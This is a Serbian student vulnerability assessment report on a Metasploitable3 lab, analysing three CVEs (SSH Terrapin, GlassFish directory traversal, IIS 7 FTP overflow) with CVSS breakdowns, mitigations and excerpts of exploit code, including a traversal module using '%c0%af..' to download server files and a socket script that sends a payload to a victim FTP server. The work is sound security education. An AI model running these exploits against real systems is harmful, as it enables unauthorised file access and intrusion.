Vulnerability Assessment Report

Ime i prezime: Anja Maksimović
Tim: 12
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

Report 1

1. Enumeracija CVE-a

- **CVE ID: CVE-2023-48795**
- **Opis:** SSH Terrapin Prefix Truncation Weakness je ranjivost u SSH protokolu, a pretežno na SSH serverima koji podržavaju *ChaCha20-Poly1305 i CBC* sa *Encrypt-than-MAC* algoritmima koji nemaju stroge mere protiv napada na razmenu ključeva. Ova ranjivost je povezana sa napadom skraćivanja prefiksa poznatog kao Terrapin, koji može biti iskorišćen u napadu *Man-in-the-middle* (MITM), prilikom kog se napadaču omogućava da presretne i manipuliše SSH saobraćajem. Ovaj propust omogućava napadačima da zaobiđu provere integriteta tokom uspostavljanja veze što može smanjiti nivo bezbednosti, potencijalno onemogućavajući ključne bezbednosne funkcije ili omogućavajući manje sigurne metode autentifikacije.

- Detalji o servisu:
    - Naziv servisa – SSH
    - Port - 22
    - Protokol - TCP

2. CVSS skor

- **CVSS skor (numerička vrednost): 5.9**
- **Vektor:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
    - AV:N – Attack Vector:Network – Ranjivost može biti eksploatisana od strane napadača putem interneta ili lokalne mreže.
    - AC:H - Attack Complexity:High – Napad zahteva visoke sposobnosti napadača te je težak za izvođenje.
    - PR:N - Privileges Required:None – Napadaču nisu potrebne posebne privilegije da bi iskoristio ovu ranjivost.
    - UI:N - User Interaction:None – Napadač nema potrebe za interakcijom sa korisnikom, što olakšava izvođenje napada.

- S:U – Scope:Unchanged - Eksploatacija nema uticaja na druge komponente van servera. Nema promene opsega ranjivosti.
- C:N - Confidentiality: None – Nema direktne pretnje po poverljivost.
- I:H - Integrity: High – Integritet ugrožen, jer napadač može smanjiti sigurnosne funkcije i izmeniti prenesene podatke.
- A:N - Availability: None – Ranjivost ne utiče direktno na dostupnost.

- **Opravdanje:**
  Skor 5.9 ukazuje na ranjivost sa srednjim uticajem na integritet što može imati posledice po sigurnost sistema. Iako je visoka složenost napada, lakoća pristupa - preko mreže, bez privilegija i bez potrebe za interakcijom napadača sa korisnikom, povećava broj potencijalnih napadača i čini da ova ranjivost ima viši skor i preporučljivo je preduzeti mere zaštite i mitigaciju rizika koji su povezani sa ovom ranjivošću.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**

  1. https://github.com/RUB-NDS/Terrapin-Artifacts/tree/main
  2. https://github.com/SecDev0ps/SSH-Terrapin-Attack
  3. https://github.com/CharonDefalt/ssh-attack-terrapin

- **Opis eksploita:**

  Kod sa prvog repozitorijuma ne pokušava da izvrši napad direktno. Ovaj repozitorijum sadrži materijal vezan za istraživački rad koji se bavi Terrapin napadom. Uključuje Proof-of-Concept (PoC) skripte koje pokazuju različite ranjivosti, uključujući i CVE-2023-48795. PoC skripte se izvršavaju unutar Docker kontejnera. Napad koristi *downgrade* u bezbednosnim protokolima, gde napadač primorava na korišćenje slabijeg ili ranjivijeg algoritma za šifrovanje. Na taj način, ako su server i klijent dogovorili jaču enkripciju, napadač može da preseče dogovor i podmetne slabiji algoritam, koji se lakše kompromituje.

  Skripte sa drugog i trećeg repozitorijuma simuliraju SSH *handshake* sa potencijalnom Terrapin manipulacijom, iskorišćavajući ranjivost CVE-2023-48795. Skripte pokušavaju da zaobiđu provere integriteta tokom uspostavljanja SSH veze, što napadaču omogućava da umanji sigurnost veze. Skripte ciljaju SSH servere koji koriste *ChaCha20-Poly1305* ili CBC ciphers sa *Encrypt-then-MAC* bez strogih mera razmene ključeva.

  Uspešan napad može omogućiti napadaču da presretne komunikaciju, manipuliše podacima ili obezbedi pristup osetljivim informacijama. Ovo povećava ranjivost, omogućava manipulaciju komunikacije i može dovesti do

neautorizovanog pristupa i kompromitovanja podataka.

- **Kod eksploita (ukoliko postoji):**

```
function select_and_run_poc_proxy {
  echo "[i] This script supports the following extension downgrade attack variants as PoC:"
  echo -e "\t1) ChaCha20-Poly1305"
  echo -e "\t2) CBC-EtM (Unknown)"
  echo -e "\t3) CBC-EtM (Ping)"
  read -p "[+] Please select PoC variant to test [1-3]: " POC_VARIANT

  case $POC_VARIANT in
    1)
      POC_VARIANT_NAME="ChaCha20-Poly1305"
      POC_IMAGE="terrapin-artifacts/ext-downgrade-chacha20-poly1305" ;;
    2)
      POC_VARIANT_NAME="CBC-EtM (Unknown)"
      POC_IMAGE="terrapin-artifacts/ext-downgrade-cbc-unknown" ;;
    3)
      if [[ $SERVER_IMPL -eq 2 ]]; then
        echo "[!] CBC-EtM (Ping) variant requires OpenSSH 9.5p1 as the server. Please re-run the script."
        exit 1
      fi
      POC_VARIANT_NAME="CBC-EtM (Ping)"
      POC_IMAGE="terrapin-artifacts/ext-downgrade-cbc-ping" ;;
    *)
      echo "[!] Invalid selection, please re-run the script"
      exit 1 ;;
  esac
  echo "[+] Selected PoC variant: '$POC_VARIANT_NAME'"

  echo "[+] Starting extension downgrade attack proxy on port $POC_PORT. Connection will be proxied to 127.0.0.1:$SERVER_PORT"
  docker run -d \
    --network host \
    --name $POC_CONTAINER_NAME \
    $POC_IMAGE --proxy-port $POC_PORT --server-ip "127.0.0.1" --server-port $SERVER_PORT > /dev/null 2>&1
}
```

```
function run_client_poc {
  echo "[+] Connecting with $CLIENT_IMPL_NAME client to PoC proxy at 127.0.0.1:$POC_PORT as user victim"
  if [[ $CLIENT_IMPL -eq 1 ]]; then
    docker run \
      --network host \
      --name "$CLIENT_CONTAINER_NAME-poc" \
      $CLIENT_IMAGE -vvv -o Ciphers=chacha20-poly1305@openssh.com,aes128-cbc -o MACs=hmac-sha2-256-etm@openssh.com -p $POC_PORT victim@127.0.0.1 > /dev/null 2>&1
  else
    docker run \
      --network host \
      --name "$CLIENT_CONTAINER_NAME-poc" \
      $CLIENT_IMAGE -v -P $POC_PORT -batch -sshlog /dev/stdout victim@127.0.0.1 > /dev/null 2>&1
  fi
}
```

  - Funkcija *select_and_run_poc_proxy* omogućava korisniku da odabere varijantu napada i pokrene PoC proxy koji preusmerava konekcije na SSH server, dok funkcija *run_client_poc* omogućava klijentu da se poveže s tim proxyjem umesto direktno sa serverom. Pomoću ovih funkcija može se testirati sigurnost SSH

protokola kroz simulaciju napada. Moguće je analizirati reakciju servera na različite vrste napada u kontrolisanom okruženju.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):** Analiza uzroka ranjivosti CVE-2023-48795 oslanja se na dva ključna problema: SSH ne verifikuje celokupnu transkriptnu komunikaciju tokom *handshake*-a, što omogućava napadaču da umetne poruke i manipuliše brojevima sekvenci i SSH ne resetuje brojeve sekvenci kada se aktiviraju enkripcioni ključevi, što omogućava da manipulacije pre enkripcije utiču na bezbednost veze.

  Na linku se mogu naći različite SSH implementacije, sa istaknutim verzijama koje imaju ranjivost kao i onim u kojima je su problemi rešeni. Različite SSH implementacije, uključujući OpenSSH, započele primenu "*strict kex*" kao odgovor na ovu ranjivost.

- **Primer Koda (ako je primenljivo): /**

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da. Dostupan je fix koji uključuje ažuriranje verzije SSH protokola.

- **Mitigation Strategy:**
  Najbolji pristup je ažuriranje na najnoviju verziju. Ako ažuriranje nije moguće, preporučuje se isključivanje ranjivih šifara i HMAC algoritama koji omogućavaju eksploataciju, kao što su *chacha20-poly1305* i određeni *Encrypt-then-MAC* algoritmi. Potrebno je otvoriti *C:\ProgramData\ssh\sshd_config* u Notepad-u kao administrator i isključiti *chacha20-poly1305 i* MAC algoritmi *hmac-sha2-256 i hmac-sha2-512.*

- **Alternativni fix (ukoliko ne postoji vendorski):**

  Zaštitni postupci mogu se primeniti ručno, izmenom podešavanja u fajlovima za SSH konfiguraciju ili u cripto-policy sistema. Ranjivi algoritmi mogu se onemogućiti time što se isključe iz konfiguracionih fajlova, kao što su */etc/ssh/ssh_config* za klijentska podešavanja i */etc/ssh/sshd_config* za serverska podešavanja, čime se smanjuje rizik od napada kroz ranjivosti kao što je Terrapin.

Report 2

Datum: 3.11.2024.

1. Enumeracija CVE-a

- **CVE ID: CVE-2017-1000028**
- **Opis:** CVE-2017-1000028 je ranjivost poznata kao Directory Traversal, koja utiče na Oracle GlassFish Server Open Source Edition 4.1. Ovu ranjivost mogu iskoristiti neautentifikovani napadači da putem specijalno formiranog HTTP GET zahteva pristupe datotekama na serveru koje bi trebale da im budu saktivene. Ova ranjivost može značajno ugroziti poverljivost i integritet podataka na serveru, a klasifikovana je kao CWE-22, što ukazuje na problem sa putanjom do datoteke.

- Detalji o servisu:
    - Naziv servisa – Oracle GlassFish Server Open Source Edition
    - Port - 4848
    - Protokol – TCP

2. CVSS skor

- **CVSS skor (numerička vrednost): 7.5**
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    - AV:N – Attack Vector:Network – Ranjivost može biti eksploatisana od strane napadača putem interneta ili lokalne mreže.
    - AC:L - Attack Complexity:Low – Napad ne zahteva visoke sposobnosti napadača te je relativno jednostavan za izvođenje.
    - PR:N - Privileges Required:None – Napadaču nisu potrebne posebne privilegije da bi iskoristio ovu ranjivost.
    - UI:N - User Interaction:None – Napadač nema potrebe za interakcijom sa korisnikom, što olakšava izvođenje napada.
    - S:U – Scope:Unchanged - Eksploatacija nema uticaja na druge komponente van ranjivog sistema. Nema promene opsega ranjivosti.
    - C:H - Confidentiality: High – Iskorišćavanje ranjivosti može značajno ugroziti poverljivost podataka, omogućavajući napadaču pristup osetljivim informacijama.
    - I:N - Integrity: None – Ranjivost ne utiče direktno na integritet podataka.
    - A:N - Availability: None – Ranjivost ne utiče direktno na dostupnost.

- **Opravdanje:**

  Ovaj CVSS vektor i skor 7.5 ukazuju na to da je Oracle GlassFish Server Path Traversal ranjivost visoko rizična zbog mogućnosti eksploatacije preko mreže, bez potrebe za visokim tehničkim znanjem. Napadač može bez posebnih privilegija i interakcije korisnika da izvrši napad, uz visok uticaj na poverljivost podataka. Napadači mogu eksploatisati ovu ranjivost samo unutar napadnutog sistema. Ranjivost nema kritičan skor jer nema veliki obim, niti visokog uticaja na integritet i dostupnost, ali je posebno opasna, jer napadači mogu lako pristupiti osetljivim informacijama bez složenih tehnika ili resursa.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da -** link koji vodi do javno dostupnog eksploita

- **Opis eksploita:**

  Ovaj eksploit cilja ranjivost na Oracle GlassFish Server Open Source Edition 4.1, tačnije administrativnu konzolu ovog servera, koja se obično nalazi na portu 4848. Ova ranjivost, poznata kao directory traversal, omogućava napadačima da pristupe fajlovima i podacima koji su inače zaštićeni, što može dovesti do ozbiljnog curenja osetljivih informacija. Napadači mogu iskoristiti ovu ranjivost slanjem posebno formiranog HTTP GET zahteva koji koristi niz sekvenci specijalnih karaktera za manipulaciju putanjom direktorijuma. Ovaj zahtev omogućava neautentifikovanim korisnicima da "izađu" iz dozvoljenih direktorijuma aplikacije i pristupe drugim fajlovima na serveru.

  Ranjivost se oslanja na korišćenje sekvence *%c0%af..*, koja predstavlja *../* u URL-u. Ova kodirana sekvenca omogućava napadaču da se kreće kroz direktorijume servera, prebacujući se "jedan nivo iznad" u hijerarhiji direktorijuma sa svakom sekvencom *%c0%af*... Na taj način, napadač može da zaobiđe ograničenja koja su postavljena da spreče pristup kritičnim datotekama. Na primer, jednostavnim dodavanjem ove sekvence u URL, napadač može kreirati putanju koja će mu omogućiti pristup fajlovima koji mogu da sadrže osetljive informacije. Ovaj pristup ne zahteva nikakve posebne privilegije niti autentifikaciju, što čini napad jednostavnim za sprovođenje čak i za napadače sa ograničenim tehničkim znanjem. Posledice ovog napada mogu biti ozbiljne jer omogućavaju napadačima pristup osetljivim podacima poput konfiguracionih i autentifikacionih informacija. Pristup tim podacima može otkriti detalje o unutrašnjoj konfiguraciji servera i korisničkim podacima, što može dovesti do dodatnih napada.

- **Kod eksploita (ukoliko postoji):**

```
def run_host(ip)
  filename = datastore['FILEPATH']
  traversal = "%c0%af.." * datastore['DEPTH'] << filename

  res = send_request_raw({
    'method' => 'GET',
    'uri'    => "/theme/META-INF/prototype#{traversal}"
  })

  unless res && res.code == 200
    print_error('Nothing was downloaded')
    return
  end

  vprint_good("#{peer} - #{res.body}")
  path = store_loot(
    'oracle.traversal',
    'text/plain',
    ip,
    res.body,
    filename
  )
  print_good("File saved in: #{path}")
end
```

Prvo, kod postavlja ime ciljanog fajla pomoću vrednosti zadate u FILEPATH promenljivoj. Zatim kreira traversal sekvencu %c0%af.., koja omogućava kretanje unazad kroz direktorijume servera. Ova sekvenca se ponavlja određeni broj puta, u zavisnosti od vrednosti DEPTH, čime napadač precizira koliko direktorijuma želi da "preskoči". Nakon toga, kod šalje HTTP GET zahtev serveru koristeći URI sa ovim sekvencama, čime se ciljano izlaže napada server. Ako server odgovori uspešno (status 200), kod preuzima sadržaj ciljanog fajla i lokalno ga čuva koristeći store_loot funkciju.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivost CVE-2017-1000028 u Oracle GlassFish Server Open Source Edition 4.1 rezultat je nedovoljne validacije i filtriranja korisničkog unosa koji se koristi za formiranje putanja do fajlova na serveru. U administrativnom interfejsu servera nedostaje pravilna kontrola pristupa resursima, što omogućava napadačima da koriste tehnike directory traversal za pristup osetljivim fajlovima.

  Ova ranjivost nije vezana za specifičnu biblioteku, već je problem u samoj konfiguraciji i implementaciji servera. Zbog neadekvatne validacije korisničkog unosa, napadači mogu manipulisati putanjama pomoću specijalnih sekvenci i tako pristupati zaštićenim ili skrivenim datotekama van dozvoljenih direktorijuma.

- **Primer Koda (ako je primenljivo):**

  Za ovu ranjivost ne postoji javno dostupan primer koda, ali problem nastaje zbog nedovoljne validacije korisničkog unosa. Ova ranjivost omogućava napadačima da koriste directory traversal tehnike i pristupe osetljivim datotekama na serveru.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da.

- **Mitigation Strategy:**
  1. Korisnici treba da preuzmu najnoviju verziju patch-a sa zvaničnog Oracle sajta ili Oracle Support platforme.

  2. Zatim je potrebno zaustaviti GlassFish server, što se radi izvršavanjem komande:

  asadmin stop-domain <domain-name>, gde je <domain-name> naziv domena koji se koristi.
  3. Primeniti preuzeti patch u ditektorijumu u kojem je instaliran GlassFish Server.
  4. Nakon što se patch primeni, potrebno je ponovo pokrenuti GlassFish server pomoću komande:
  asadmin start-domain <domain-name>
  5. Kako bi se ovaj proces automatizovao, a primena patch-a olakšala i ubrzala, čime se smanjuje rizik od ljudskih grešaka, preporučuje se korišćenje alata kao što su Puppet i Chef.

Report 3

Datum: 4.11.2024.

1. Enumeracija CVE-a

- **CVE ID: CVE-2010-3972**
- **Opis:** U FTP servisu u okviru Microsoft IIS-a verzije 7.0 i 7.5, postoji ozbiljna ranjivost koja omogućava udaljenom napadaču da izazove heap-based buffer overflow u funkciji TELNET_STREAM_CONTEXT::OnSendData. Do greške dolazi zbog neispravne validacije ulaznih podataka u datoteci ftpsvc.dll, što omogućava napadaču da iskoristi ovaj propust putem posebno oblikovanih FTP komandi. Ova ranjivost može rezultovati izvršavanjem proizvoljnog koda ili obaranjem FTP servisa čime kompromituje stabilnost sistema.

- Detalji o servisu:
    - Naziv servisa – FTP
    - Port – 21
    - Protokol - TCP

2. CVSS skor

- **CVSS skor (numerička vrednost): 9.8**
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    - AV:N – Attack Vector:Network – Ranjivost može biti eksploatisana od strane napadača putem interneta ili lokalne mreže.
    - AC:L - Attack Complexity:Low – Napad ne zahteva visoke sposobnosti napadača te je relativno jednostavan za izvođenje.
    - PR:N - Privileges Required:None – Napadaču nisu potrebne posebne privilegije da bi iskoristio ovu ranjivost.
    - UI:N - User Interaction:None – Napadač nema potrebe za interakcijom sa korisnikom, što olakšava izvođenje napada.
    - S:U – Scope:Unchanged - Eksploatacija nema uticaja na druge komponente van ranjivog sistema. Nema promene opsega ranjivosti.
    - C:H - Confidentiality: High – Iskorišćavanje ranjivosti može značajno ugroziti poverljivost podataka, omogućavajući napadaču pristup osetljivim informacijama.
    - I:H - Integrity: High – Iskorišćavanje ranjivosti može ozbiljno narušiti integritet podataka, omogućavajući napadaču da ih izmeni ili ošteti, čime se dovodi u pitanje njihova tačnost i pouzdanost.
    - A:H - Availability: High – Ova ranjivost može značajno uticati na dostupnost servisa ili resursa, onemogućavajući korisnicima pristup i ometajući normalno funkcionisanje sistema.

- **Opravdanje:**

  CVSS skor od 9.8 ukazuje na visoku kritičnost ranjivosti. Razlozi za ovako visoki skor uključuju mogućnost eksploatacije preko mreže, bez potrebe za visokim tehničkim znanjem. Napadač može bez posebnih privilegija i interakcije korisnika da izvrši napad. Osim toga, potencijalne posledice napada mogu obuhvatati ozbiljno narušavanje poverljivosti podataka, integriteta i dostupnosti sistema.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da -** link koji vodi do javno dostupnog eksploita

- **Opis eksploita:**

  Eksploit za ranjivost CVE-2010-3972 u Microsoft IIS FTP servisu verzije 7.0, koristi prelivanje bafera u funkciji TELNET_STREAM_CONTEXT::OnSendData kako bi omogućio napadaču da pokrene maliciozni kod ili izazove DoS napad bez potrebe za autentifikacijom. Eksploatacija se postiže slanjem posebnih FTP komandi koje uzrokuju da ranjiva funkcija premaši dodeljeni bafer u memoriji, čime napadač dobija pristup susednim memorijskim lokacijama. Ova ranjivost predstavlja visok rizik jer napadaču omogućava dalji pristup osetljivim informacijama i manipulaciju podacima, što može ugroziti integritet i dostupnost sistema.

- **Kod eksploita (ukoliko postoji):**

```
def usage():
        print "usage  : ./msiis7ftp.py <victim_ip>  <victim_port>"
        print "example: ./msiis7ftp.py 192.168.1.22 21"

def main():
    if len(sys.argv) != 3:
            usage()
            sys.exit()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    HOST = sys.argv[1]
    PORT = int(sys.argv[2])
    s.connect((HOST,PORT))
    data = s.recv(1024)
    print data
    print "[*] Sending Payload...\n"
    s.send(buf+'\r\n')
    print "[*] Closing Socket...\n"
    s.close()

if __name__ == "__main__":
    main()
```

Ovaj Python kod predstavlja jednostavnu skriptu za slanje "payload-a" (malicioznih podataka) na određeni server putem FTP protokola. Funkcija usage() prikazuje uputstvo za korišćenje skripte, uključujući primer pokretanja: ./msiis7ftp.py <victim_ip> <victim_port>. Glavna funkcija main() proverava da li su unesena dva argumenta (IP adresa i port), pa ako nisu, poziva se usage() i skripta se zaustavlja. Skripta zatim kreira TCP socket, postavlja promenljive HOST i PORT na unete vrednosti i pokušava da se poveže sa serverom. Nakon uspostavljanja konekcije, prima odgovor sa servera i ispisuje ga. Kada se poveže, šalje sadržaj promenljive buf ka cilju, obaveštavajući korisnika porukom "Sending Payload...". Na kraju, skripta zatvara konekciju. Ovaj kod može poslužiti za slanje zlonamernih komandi, što može da rezultuje izvršavanjem koda na serveru, DoS napadom ili pristupom osetljivim podacima.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivost CVE-2010-3972 identifikovana je u decembru 2010. godine na FTP serveru Microsoft IIS-a 7.0 i 7.5. Uočena je mogućnost da udaljeni napadači izazovu Denial of Service (DoS) napad slanjem posebno formiranih FTP komandi. Microsoft je o ovoj ranjivosti objavio bezbednosno upozorenje u izveštaju MS11-004, koji je objavljen u januaru 2011. godine. Ovaj izveštaj uključuje informacije o patch-evima koji su dostupni za pogođene verzije FTP servisa.

- **Primer Koda (ako je primenljivo):**

  Ne postoji javno dostupan primer koda. Ovakvi primeri se ne objavljuju javno da bi se smanjila mogućnost da zlonamerni korisnici koriste te informacije za napade.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da.
- **Mitigation Strategy:**

  Microsoft je izdao patch u okviru MS11-004 koji rešava ovu ranjivost. Preporučuje se preuzimanje i instalacija patch-a za odgovarajuću verziju operativnog sistema (Windows Vista, Server 2008, Server 2008 R2, i Windows 7).

  1. Prvo je potrebno posetiti Microsoft Update Catalog i pretražiti "MS11-004" kako bi se pronašao odgovarajući paket za našu verziju operativnog sistema.

  2. Sledeći korak je otvaranje PowerShell-a kao administrator i pozicioniranje u folder u kom se nalazi preuzeti patch: Set-Location -Path "C:\path\to\downloaded\patch", nakon čega se pokreće instalacija pomoću: Start-Process "wusa.exe" -ArgumentList "Windows6.1-KB2446708-x64.msu /quiet /norestart" -Wait

  3. Zatim verifikujemo instalaciju pomoću: Get-HotFix | Where-Object {$_.Description -like "*KB2446708*"}

  4. Nakon toga, preporučljivo je restartovati sistem.

- **Alternativni fix (ukoliko ne postoji vendorski):**

  Moguće je postavljanje firewall pravila za blokiranje neovlašćenog pristupa FTP portovima (default je port 21). Ovo može pomoći u zaštiti od potencijalnih napada koji

koriste ovu ranjivost. Kako bi se to uradilo, potrebno je otvoriti Command Prompt kao administrator i pokrenuti komandu:

```
netsh advfirewall firewall add rule name="Block FTP" dir=in action=block protocol=TCP localport=21
```